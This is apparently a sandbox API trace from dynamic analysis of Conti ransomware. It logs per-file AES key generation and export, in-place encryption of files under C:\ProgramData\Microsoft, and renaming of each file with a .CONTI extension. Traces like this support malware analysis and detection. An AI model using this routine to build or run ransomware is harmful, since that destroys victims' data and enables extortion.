	[0114.871] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x1e0, lpOverlapped=0x0) returned 1
	[0114.871] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.872] WriteFile (in: hFile=0x384, lpBuffer=0x65bcc18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65bcc18*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0114.872] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.872] CloseHandle (hObject=0x384) returned 1
	[0114.872] GetProcessHeap () returned 0x1720000
	[0114.872] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.872] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.872] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.872] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.873] GetProcessHeap () returned 0x1720000
	[0114.873] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.873] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0114.873] GetProcessHeap () returned 0x1720000
	[0114.873] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ba760 | out: hHeap=0x1720000) returned 1
	[0114.873] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.873] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d82a8 | out: phKey=0x65d82a8*=0x6b7f1f8) returned 1
	[0114.873] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d82ac, pdwDataLen=0x587f8ac | out: pbData=0x65d82ac*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.875] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db")) returned 0x20
	[0114.875] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.875] GetLastError () returned 0x5
	[0114.875] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.875] GetProcessHeap () returned 0x1720000
	[0114.875] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b7b8 | out: hHeap=0x1720000) returned 1
	[0114.875] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.875] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65db968 | out: phKey=0x65db968*=0x6b7f1f8) returned 1
	[0114.875] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db96c, pdwDataLen=0x587f8ac | out: pbData=0x65db96c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.876] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm")) returned 0x20
	[0114.876] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.876] GetLastError () returned 0x5
	[0114.876] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.876] GetProcessHeap () returned 0x1720000
	[0114.876] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181bda8 | out: hHeap=0x1720000) returned 1
	[0114.876] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.876] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d7988 | out: phKey=0x65d7988*=0x6b7f4f8) returned 1
	[0114.876] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d798c, pdwDataLen=0x587f8ac | out: pbData=0x65d798c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.877] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat")) returned 0x20
	[0114.878] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0114.878] GetLastError () returned 0x0
	[0114.878] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=6568) returned 1
	[0114.878] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x19a8
	[0114.878] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.878] SetEndOfFile (hFile=0x384) returned 1
	[0114.878] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.879] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.879] WriteFile (in: hFile=0x384, lpBuffer=0x65d798c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d798c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0114.880] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.880] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x19a8, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x19a8, lpOverlapped=0x0) returned 1
	[0114.881] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x19a8, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x19b0) returned 1
	[0114.881] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.881] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x19b0, lpOverlapped=0x0) returned 1
	[0114.881] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.881] WriteFile (in: hFile=0x384, lpBuffer=0x65d7980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d7980*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0114.881] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.881] CloseHandle (hObject=0x384) returned 1
	[0114.881] GetProcessHeap () returned 0x1720000
	[0114.881] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.881] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat") returned="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat"
	[0114.881] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.CONTI"
	[0114.881] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat.conti")) returned 1
	[0114.882] GetProcessHeap () returned 0x1720000
	[0114.882] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.882] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0114.882] GetProcessHeap () returned 0x1720000
	[0114.882] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9850 | out: hHeap=0x1720000) returned 1
	[0114.882] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.882] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65da728 | out: phKey=0x65da728*=0x6b7f1f8) returned 1
	[0114.882] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da72c, pdwDataLen=0x587f8ac | out: pbData=0x65da72c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.883] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storagehealthmodel.dat")) returned 0x20
	[0114.884] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.884] GetLastError () returned 0x5
	[0114.884] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.884] GetProcessHeap () returned 0x1720000
	[0114.884] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bce8 | out: hHeap=0x1720000) returned 1
	[0114.884] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.884] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dbbb0 | out: phKey=0x65dbbb0*=0x6b7f2b8) returned 1
	[0114.884] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dbbb4, pdwDataLen=0x587f8ac | out: pbData=0x65dbbb4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.885] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml")) returned 0x20
	[0114.886] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.886] GetLastError () returned 0x5
	[0114.886] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.886] GetProcessHeap () returned 0x1720000
	[0114.886] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9100 | out: hHeap=0x1720000) returned 1
	[0114.886] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.886] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d8738 | out: phKey=0x65d8738*=0x6b7f2b8) returned 1
	[0114.939] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d873c, pdwDataLen=0x587f8ac | out: pbData=0x65d873c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.940] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml")) returned 0x20
	[0114.946] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.948] GetLastError () returned 0x5
	[0114.948] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.948] GetProcessHeap () returned 0x1720000
	[0114.948] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740150 | out: hHeap=0x1720000) returned 1
	[0114.948] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.948] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dae00 | out: phKey=0x65dae00*=0x6b7f378) returned 1
	[0114.948] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dae04, pdwDataLen=0x587f8ac | out: pbData=0x65dae04*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.949] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml")) returned 0x20
	[0114.951] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.952] GetLastError () returned 0x5
	[0114.952] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0114.952] GetProcessHeap () returned 0x1720000
	[0114.952] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8bf0 | out: hHeap=0x1720000) returned 1
	[0114.952] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.952] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dbdf8 | out: phKey=0x65dbdf8*=0x6b7f338) returned 1
	[0114.952] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dbdfc, pdwDataLen=0x587f8ac | out: pbData=0x65dbdfc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.953] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml")) returned 0x20
	[0114.954] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.955] GetLastError () returned 0x5
	[0114.955] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0114.955] GetProcessHeap () returned 0x1720000
	[0114.955] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8fe0 | out: hHeap=0x1720000) returned 1
	[0114.955] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.955] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d9e08 | out: phKey=0x65d9e08*=0x6b7f1f8) returned 1
	[0114.955] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d9e0c, pdwDataLen=0x587f8ac | out: pbData=0x65d9e0c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.955] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml")) returned 0x20
	[0114.957] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.959] GetLastError () returned 0x5
	[0114.959] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.959] GetProcessHeap () returned 0x1720000
	[0114.959] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fed0 | out: hHeap=0x1720000) returned 1
	[0114.959] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.959] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65da4e0 | out: phKey=0x65da4e0*=0x6b7f1f8) returned 1
	[0114.959] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da4e4, pdwDataLen=0x587f8ac | out: pbData=0x65da4e4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.960] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml")) returned 0x20
	[0114.961] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.963] GetLastError () returned 0x5
	[0114.963] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.963] GetProcessHeap () returned 0x1720000
	[0114.963] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560cf0 | out: hHeap=0x1720000) returned 1
	[0114.963] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.963] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65db290 | out: phKey=0x65db290*=0x6b7f1f8) returned 1
	[0114.963] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db294, pdwDataLen=0x587f8ac | out: pbData=0x65db294*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.964] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml")) returned 0x20
	[0114.966] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.966] GetLastError () returned 0x5
	[0114.966] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.966] GetProcessHeap () returned 0x1720000
	[0114.966] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fe30 | out: hHeap=0x1720000) returned 1
	[0114.966] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.966] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d8060 | out: phKey=0x65d8060*=0x6b7f4f8) returned 1
	[0114.966] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d8064, pdwDataLen=0x587f8ac | out: pbData=0x65d8064*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.967] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml")) returned 0x20
	[0114.969] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.970] GetLastError () returned 0x5
	[0114.970] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0114.970] GetProcessHeap () returned 0x1720000
	[0114.970] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e960 | out: hHeap=0x1720000) returned 1
	[0114.970] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
